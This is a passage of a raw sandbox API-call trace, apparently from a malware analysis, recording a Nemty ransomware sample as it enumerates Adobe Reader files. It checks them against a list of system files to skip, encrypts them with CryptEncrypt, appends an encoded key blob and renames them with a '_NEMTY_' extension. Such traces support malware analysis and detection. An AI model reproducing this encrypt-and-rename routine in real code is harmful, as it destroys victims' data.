0x4f9ecb8 [0170.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NLD", lpUsedDefaultChar=0x0) returned 11 [0170.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NLD", lpUsedDefaultChar=0x0) returned 11 [0170.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NLD", lpUsedDefaultChar=0x0) returned 11 [0170.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.496] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NLD", lpUsedDefaultChar=0x0) returned 11 [0170.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.496] Sleep (dwMilliseconds=0x5) [0170.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1946b970, dwHighDateTime=0x1d561e8)) [0170.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1946b970, dwHighDateTime=0x1d561e8)) [0170.506] GetLastError () returned 0x0 [0170.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.506] GetLastError () returned 0x0 [0170.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.506] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.506] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.506] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.506] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="cBYBcGrkbj6OMcz3EXJU0Ca3X/9mQqa1rtWUcAj70Hi1Ql/2WsrDUYYoa9IDO7An\r\nC0nRlqtp4qi7W35zD5UzUAaFQ2508SmdRE0lIqm9AEhJsp5+5oHpLMxd3phN1pCd\r\n/c+49VUf95FnC9DbRvoC7u5pn26+mgF3tBh3vheAzO3QUMf3D4IFlOXGwgOAVjnW\r\n5pKase/PbNtsgpCp+G9gXUs2jYN1pkxRLekQwcIFapvik1X5kxFA6peaeOx4Fc2X\r\n7z5uORk4lttveXcFYhMuO6lO7qjN3lGZaApu+KzRE8uR/PIuFG2t9i2CO2e4EFYN\r\n3vXS6+Rt9gj+IF7Q1jGXDA==\r\n", pcchString=0x653e91c) returned 1 [0170.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.507] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.507] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.507] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.509] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.509] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.509] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.509] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.509] CloseHandle (hObject=0x254) returned 1 [0170.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.509] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nld._nemty_kgobjgd_")) returned 1 [0170.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.510] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.NOR", cAlternateFileName="")) returned 1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2=".") returned 1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="..") returned 1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="...") returned 1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="windows") returned -1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="$RECYCLE.BIN") returned 1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="rsa") returned -1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="NTDETECT.COM") returned -1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="ntldr") returned -1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="MSDOS.SYS") returned 1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="IO.SYS") returned 1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="boot.ini") returned 1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="boot.ini") returned 1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="ntuser.dat") returned -1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="desktop.ini") returned 1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="CONFIG.SYS") returned 1 [0170.510] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="RECYCLER") returned -1 [0170.511] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="BOOTSECT.BAK") returned 1 [0170.511] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="bootmgr") returned 1 [0170.511] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="programdata") returned -1 [0170.511] lstrcmpiW (lpString1="nppdf32.NOR", lpString2="appdata") returned 1 [0170.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NOR", lpUsedDefaultChar=0x0) returned 11 [0170.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NOR", lpUsedDefaultChar=0x0) returned 11 [0170.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NOR", lpUsedDefaultChar=0x0) returned 11 [0170.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NOR", lpUsedDefaultChar=0x0) returned 11 [0170.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.511] Sleep (dwMilliseconds=0x5) [0170.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19491ad0, dwHighDateTime=0x1d561e8)) [0170.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19491ad0, dwHighDateTime=0x1d561e8)) [0170.521] GetLastError () returned 0x0 [0170.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.521] GetLastError () returned 0x0 [0170.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.521] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.522] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.522] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.522] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="zJwEIhmTybdwWepAR9AMIWut+56dsWN/gwO4BHLrVlOfsyM+imp1roltnvvy3ngb\r\net5GeCuR3v30Ehp/h+0MIYBuOWuwkDG3n3NSKDXk3PcaAJOw22ZVRp4SMeb/PAky\r\nK2he71bK3ecOtu6HtFYoxww4emBCKhajtToncGZ1xncDiutjf0HH1qfuMZBeWwh5\r\nUm3Em9fIFx3oM7YmMqTvFFTYEKLJIV1457d4KzgjuDpLzKudxMgaYtGGvYysXAm+\r\njtqGoBvRV6JdczAlxyX9PB3mn3uhgoAgUZ9zkvfluy/LHaA9tPP3WEdDfWjutcXU\r\n/DVbMVAQvoFDsx0SjLZGig==\r\n", pcchString=0x653e91c) returned 1 [0170.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.522] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.522] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.522] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.522] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.524] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.524] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.524] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.525] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.525] CloseHandle (hObject=0x254) returned 1 [0170.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.525] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nor._nemty_kgobjgd_")) returned 1 [0170.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.526] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.POL", cAlternateFileName="")) returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2=".") returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="..") returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="...") returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="windows") returned -1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="$RECYCLE.BIN") returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="rsa") returned -1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="NTDETECT.COM") returned -1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="ntldr") returned -1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="MSDOS.SYS") returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="IO.SYS") returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="boot.ini") returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="boot.ini") returned 1 [0170.526] lstrcmpiW 